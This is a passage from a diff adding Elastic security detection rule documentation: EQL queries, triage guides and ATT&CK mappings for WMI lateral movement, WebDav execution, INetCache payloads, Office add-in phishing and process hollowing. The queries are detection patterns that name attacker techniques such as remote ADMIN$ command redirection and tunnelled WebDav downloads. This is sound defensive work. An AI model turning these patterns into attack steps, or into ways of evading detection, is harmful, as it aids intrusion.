endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper +* https://www.elastic.co/security-labs/operation-bleeding-bear + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Cmd Execution via WMI* + + +Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. Adversaries exploit WMI for lateral movement by executing commands remotely, often using cmd.exe. The detection rule identifies such activity by monitoring for cmd.exe processes initiated by WmiPrvSE.exe with specific arguments, indicating potential misuse for executing commands on remote hosts. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent-child relationship between WmiPrvSE.exe and cmd.exe, ensuring that cmd.exe was indeed initiated by WmiPrvSE.exe. +- Examine the command-line arguments used by cmd.exe, specifically looking for the presence of "\\\\127.0.0.1\\*" and redirection operators like "2>&1" or "1>", to understand the nature of the command executed. +- Investigate the source and destination IP addresses involved in the WMI activity to determine if the remote host is legitimate or potentially compromised. +- Check for any related alerts or logs from the same host or user account around the same timeframe to identify any patterns or additional suspicious activities. +- Correlate the event with user activity logs to determine if the command execution aligns with expected user behavior or if it appears anomalous. +- Consult threat intelligence sources to see if the command or pattern matches known adversary techniques or campaigns. + + +*False positive analysis* + + +- Legitimate administrative tasks using WMI may trigger this rule. System administrators often use WMI for remote management, which can include executing scripts or commands. To handle this, identify and whitelist known administrative accounts or specific scripts that are regularly used for maintenance. +- Automated scripts or software that rely on WMI for legitimate operations might also cause false positives. Review and document these processes, then create exceptions for them in the detection rule to prevent unnecessary alerts. +- Security software or monitoring tools that utilize WMI for system checks can inadvertently match the rule's criteria. Verify these tools and exclude their specific processes or arguments from the rule to reduce noise. +- Scheduled tasks or system updates that use WMI for execution might be flagged. Regularly review scheduled tasks and update the rule to exclude these known benign activities. +- Internal network monitoring or testing tools that simulate attacks for security assessments may trigger alerts. Ensure these activities are logged and excluded from the rule to avoid confusion during security evaluations. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further lateral movement and potential data exfiltration. Disconnect it from the network while maintaining power to preserve volatile data for forensic analysis. +- Terminate any suspicious cmd.exe processes initiated by WmiPrvSE.exe to halt any ongoing malicious activities. +- Conduct a thorough review of the affected system's WMI subscriptions and scripts to identify and remove any unauthorized or malicious entries. +- Reset credentials for any accounts that were used in the suspicious activity to prevent further unauthorized access. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Enhance monitoring and logging for WMI activities across the network to detect similar threats in the future, ensuring that logs are retained for an adequate period for forensic purposes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "WmiPrvSE.exe" and process.name : "cmd.exe" and process.args : "/c" and process.args:"/Q" and + process.args : "2>&1" and process.args: "1>" and + process.args : ("C:\\windows\\temp\\*.txt", "\\Windows\\Temp\\*", "-encodehex", "\\\\127.0.0.1\\C$\\Windows\\Temp\\*", "\\\\127.0.0.1\\ADMIN$\\__*.*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-endpoint-security-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-endpoint-security-parent-process.asciidoc new file mode 100644 index 0000000000..15307f3234 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-endpoint-security-parent-process.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-21-suspicious-endpoint-security-parent-process]] +=== Suspicious Endpoint Security Parent Process + +A suspicious Endpoint Security parent process was detected. This may indicate a process hollowing or other form of code injection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Endpoint Security Parent Process* + + +Endpoint security solutions, like Elastic and Microsoft Defender, monitor and protect systems by analyzing process behaviors. Adversaries may exploit these processes through techniques like process hollowing, where malicious code is injected into legitimate processes to evade detection. The detection rule identifies anomalies by flagging unexpected parent processes of security executables, excluding known benign paths and arguments, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details for the flagged executable (e.g., esensor.exe or elastic-endpoint.exe) to understand its expected behavior and any recent changes in its configuration or deployment. +- Examine the parent process executable path and name to determine if it is a known legitimate process or potentially malicious. Pay special attention to paths not listed in the known benign paths, such as those outside "?:\Program Files\Elastic\*" or "?:\Windows\System32\*". +- Investigate the command-line arguments used by the parent process to identify any unusual or suspicious patterns that could indicate malicious activity, especially if they do not match the benign arguments like "test", "version", or "status". +- Check the historical activity of the parent process to see if it has been involved in other suspicious activities or if it has a history of spawning security-related processes. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Microsoft Defender XDR, or Sysmon to gather additional context and identify any related suspicious activities. +- Assess the risk and impact of the alert by considering the environment, the criticality of the affected systems, and any potential data exposure or operational disruption. + + +*False positive analysis* + + +- Security tools or scripts that automate tasks may trigger false positives if they launch endpoint security processes with unexpected parent processes. To manage this, identify and document these tools, then add their parent executable paths to the exclusion list. +- System administrators or IT personnel may use command-line tools like PowerShell or cmd.exe for legitimate maintenance tasks. If these tasks frequently trigger alerts, consider adding specific command-line arguments used in these tasks to the exclusion list. +- Software updates or installations might temporarily cause unexpected parent processes for security executables. Monitor these activities and, if they are routine and verified, add the associated parent executable paths to the exclusion list. +- Custom scripts or third-party applications that interact with security processes can also lead to false positives. Review these scripts or applications, and if they are deemed safe, include their parent executable paths in the exclusion list. +- Regularly review and update the exclusion list to ensure it reflects the current environment and operational practices, minimizing the risk of overlooking new legitimate processes. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process identified by the alert to stop any ongoing malicious activity and prevent further code execution. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized changes or additional malicious files. +- Restore the system from a known good backup if any malicious activity or unauthorized changes are confirmed, ensuring that the backup is clean and uncompromised. +- Update endpoint security solutions and apply any available patches to address vulnerabilities that may have been exploited by the adversary. +- Monitor the network and systems for any signs of re-infection or similar suspicious activities, using enhanced logging and alerting based on the identified threat indicators. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("esensor.exe", "elastic-endpoint.exe") and + process.parent.executable != null and + process.args != null and + /* add FPs here */ + not process.parent.executable : ( + "?:\\Program Files\\Elastic\\*", + "?:\\Windows\\System32\\services.exe", + "?:\\Windows\\System32\\WerFault*.exe", + "?:\\Windows\\System32\\wermgr.exe", + "?:\\Windows\\explorer.exe" + ) and + not ( + process.parent.executable : ( + "?:\\Windows\\System32\\cmd.exe", + "?:\\Windows\\System32\\SecurityHealthHost.exe", + "?:\\Windows\\System32\\SecurityHealth\\*\\SecurityHealthHost.exe", + "?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + ) and + process.args : ( + "test", "version", + "top", "run", + "*help", "status", + "upgrade", "/launch", + "/enable", "/av" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-from-a-webdav-share.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-from-a-webdav-share.asciidoc new file mode 100644 index 0000000000..53d8c254d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-from-a-webdav-share.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-suspicious-execution-from-a-webdav-share]] +=== Suspicious Execution from a WebDav Share + +Identifies attempt to execute Windows scripts from a remote WebDav Share. Adversaries may abuse this method to evade dropping malicious files to victim file system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Execution from a WebDav Share* + + + +*Possible investigation steps* + + +- Check if the remote webdav server is autorized by the organization. +- Check all the downloaded files from the remote server and their content. +- Investigate the process execution chain (parent process tree) to identify the initial vector. +- Investigate other alerts associated with the user/host during the past 5 minutes. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Identify the target computer and its role in the IT environment. +- Investigate what commands were run, and assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("cmd.exe", "powershell.exe", "conhost.exe", "wscript.exe", "mshta.exe", "curl.exe", "msiexec.exe", "bitsadmin.exe", "net.exe") and + process.command_line : ("*trycloudflare.com*", "*@SSL\\*", "*\\webdav\\*", "*\\DavWWWRoot\\*", "*\\\\*.*@8080\\*", "*\\\\*.*@80\\*", "*\\\\*.*@8443\\*", "*\\\\*.*@443\\*") and + not (process.name : "cmd.exe" and process.args : "\\\\?\\UNC\\*.sharepoint.com@SSL\\DavWWWRoot\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-from-inet-cache.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-from-inet-cache.asciidoc new file mode 100644 index 0000000000..5398a97529 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-from-inet-cache.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-21-suspicious-execution-from-inet-cache]] +=== Suspicious Execution from INET Cache + +Identifies the execution of a process with arguments pointing to the INetCache Folder. Adversaries may deliver malicious content via WININET during initial access. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendmicro.com/en_us/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution from INET Cache* + + +The INetCache folder stores temporary internet files, which can be exploited by adversaries to execute malicious payloads delivered via WININET. Attackers may disguise malware as legitimate files cached during browsing. The detection rule identifies suspicious processes initiated from this cache, especially when launched by common file explorers, signaling potential initial access or command and control activities. + + +*Possible investigation steps* + + +- Review the process details to confirm the executable path and arguments match the INetCache folder pattern specified in the query. +- Identify the parent process, such as explorer.exe, winrar.exe, 7zFM.exe, or Bandizip.exe, to determine if the process launch is consistent with typical user behavior or potentially malicious activity. +- Check the user account associated with the process to assess if the activity aligns with the user's normal behavior or if the account may be compromised. +- Investigate the file in the INetCache directory for known malware signatures or anomalies using antivirus or endpoint detection tools. +- Analyze network activity from the host to identify any suspicious connections that may indicate command and control communication. +- Correlate the event with other security alerts or logs to identify patterns or additional indicators of compromise related to the initial access or command and control tactics. + + +*False positive analysis* + + +- Legitimate software updates or installations may temporarily use the INetCache folder for storing executable files. Users can create exceptions for known update processes by identifying their specific executable paths and excluding them from the rule. +- Some browser extensions or plugins might cache executable files in the INetCache folder during normal operations. Users should monitor and whitelist these extensions if they are verified as safe and frequently trigger alerts. +- Automated scripts or tools that interact with web content might inadvertently store executables in the INetCache folder. Users can adjust the rule to exclude these scripts by specifying their parent process names or paths. +- Certain enterprise applications may use the INetCache folder for legitimate purposes. Users should collaborate with IT departments to identify these applications and configure exceptions based on their unique process signatures. +- Regularly review and update the list of excluded processes to ensure that only verified and non-threatening activities are exempt from triggering alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further communication with potential command and control servers. +- Terminate any suspicious processes identified as originating from the INetCache folder to halt any ongoing malicious activity. +- Delete any malicious files found within the INetCache directory to remove the immediate threat. +- Conduct a full antivirus and antimalware scan on the affected system to identify and remove any additional threats. +- Review and analyze recent email logs and web browsing history to identify potential phishing attempts or malicious downloads that may have led to the initial compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the INetCache directory and related processes to detect similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("explorer.exe", "winrar.exe", "7zFM.exe", "Bandizip.exe") and + ( + process.args : "*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*" or + process.executable : ( + "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*" + ) + ) and + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\mspaint.exe", + "?:\\Windows\\System32\\notepad.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\mspaint.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\notepad.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-via-microsoft-office-add-ins.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-via-microsoft-office-add-ins.asciidoc new file mode 100644 index 0000000000..101aed38c5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-via-microsoft-office-add-ins.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-21-suspicious-execution-via-microsoft-office-add-ins]] +=== Suspicious Execution via Microsoft Office Add-Ins + +Identifies execution of common Microsoft Office applications to launch an Office Add-In from a suspicious path or with an unusual parent process. This may indicate an attempt to get initial access via a malicious phishing MS Office Add-In. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Octoberfest7/XLL_Phishing +* https://labs.f-secure.com/archive/add-in-opportunities-for-office-persistence/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution via Microsoft Office Add-Ins* + + +Microsoft Office Add-Ins enhance productivity by integrating additional features into Office applications. However, adversaries can exploit this by embedding malicious code within add-ins, often delivered through phishing. The detection rule identifies unusual execution patterns, such as Office apps launching add-ins from suspicious paths or with atypical parent processes, signaling potential threats. It filters out known benign activities to minimize false positives, focusing on genuine anomalies indicative of malicious intent. + + +*Possible investigation steps* + + +- Review the process name and arguments to confirm if the execution involves a Microsoft Office application launching an add-in from a suspicious path, as indicated by the process.name and process.args fields. +- Check the parent process name to determine if the Office application was launched by an unusual or potentially malicious parent process, such as cmd.exe or powershell.exe, using the process.parent.name field. +- Investigate the file path from which the add-in was executed to assess if it matches any of the suspicious paths listed in the query, such as the Temp or Downloads directories, using the process.args field. +- Examine the host's recent activity logs to identify any related events or patterns that might indicate a broader attack or compromise, focusing on the host.os.type and event.type fields. +- Correlate the alert with any recent phishing attempts or suspicious emails received by the user to determine if the execution is part of a phishing campaign, leveraging the MITRE ATT&CK tactic and technique information provided. +- Verify if the execution is a false positive by checking against the known benign activities excluded in the query, such as specific VSTOInstaller.exe paths or arguments, to rule out legitimate software installations or updates. + + +*False positive analysis* + + +- Logitech software installations can trigger false positives when VSTO files are executed by Logitech's PlugInInstallerUtility. To mitigate this, exclude processes with paths related to Logitech installations from the detection rule. +- The VSTOInstaller.exe process may be flagged when uninstalling applications. Exclude processes with the /Uninstall argument to prevent these false positives. +- Rundll32.exe executing with specific arguments related to MSI temporary files can be benign. Exclude these specific rundll32.exe executions to avoid false alerts. +- Sidekick.vsto installations from the specified URL can be legitimate. Exclude this specific VSTOInstaller.exe process with the Sidekick.vsto argument to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any ongoing malicious activity. +- Terminate any suspicious processes identified by the detection rule, such as those involving unusual parent processes or originating from suspicious paths. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious add-ins or related malware. +- Review and clean up any unauthorized or suspicious Office add-ins from the affected applications to ensure no malicious code remains. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be assured through cleaning alone. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for similar suspicious activities to enhance detection and response capabilities for future incidents. + +==== Rule query + + +[source, js] +---------------------------------- +process where + + host.os.type == "windows" and event.type == "start" and + + process.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSACCESS.EXE", "VSTOInstaller.exe") and + + process.args regex~ """.+\.(wll|xll|ppa|ppam|xla|xlam|vsto)""" and + + /* Office Add-In from suspicious paths */ + (process.args : + ("?:\\Users\\*\\Temp\\7z*", + "?:\\Users\\*\\Temp\\Rar$*", + "?:\\Users\\*\\Temp\\Temp?_*", + "?:\\Users\\*\\Temp\\BNZ.*", + "?:\\Users\\*\\Downloads\\*", + "?:\\Users\\*\\AppData\\Roaming\\*", + "?:\\Users\\Public\\*", + "?:\\ProgramData\\*", + "?:\\Windows\\Temp\\*", + "\\Device\\*", + "http*") or + + process.parent.name : ("explorer.exe", "OpenWith.exe") or + + /* Office Add-In from suspicious parent */ + process.parent.name : ("cmd.exe", "powershell.exe")) and + + /* False Positives */ + not (process.args : "*.vsto" and + process.parent.executable : + ("?:\\Program Files\\Logitech\\LogiOptions\\PlugInInstallerUtility*.exe", + "?:\\ProgramData\\Logishrd\\LogiOptions\\Plugins\\VSTO\\*\\VSTOInstaller.exe", + "?:\\Program Files\\Logitech\\LogiOptions\\PlugInInstallerUtility.exe", + "?:\\Program Files\\LogiOptionsPlus\\PlugInInstallerUtility*.exe", + "?:\\ProgramData\\Logishrd\\LogiOptionsPlus\\Plugins\\VSTO\\*\\VSTOInstaller.exe", + "?:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*\\VSTOInstaller.exe")) and + not (process.args : "/Uninstall" and process.name : "VSTOInstaller.exe") and + not (process.parent.name : "rundll32.exe" and + process.parent.args : "?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc") and + not (process.name : "VSTOInstaller.exe" and process.args : "https://dl.getsidekick.com/outlook/vsto/Sidekick.vsto") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Add-ins +** ID: T1137.006 +** Reference URL: https://attack.mitre.org/techniques/T1137/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-via-windows-subsystem-for-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-via-windows-subsystem-for-linux.asciidoc new file mode 100644 index 0000000000..20224ca13c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-via-windows-subsystem-for-linux.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-21-suspicious-execution-via-windows-subsystem-for-linux]] +=== Suspicious Execution via Windows Subsystem for Linux + +Detects Linux Bash commands from the the Windows Subsystem for Linux. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* 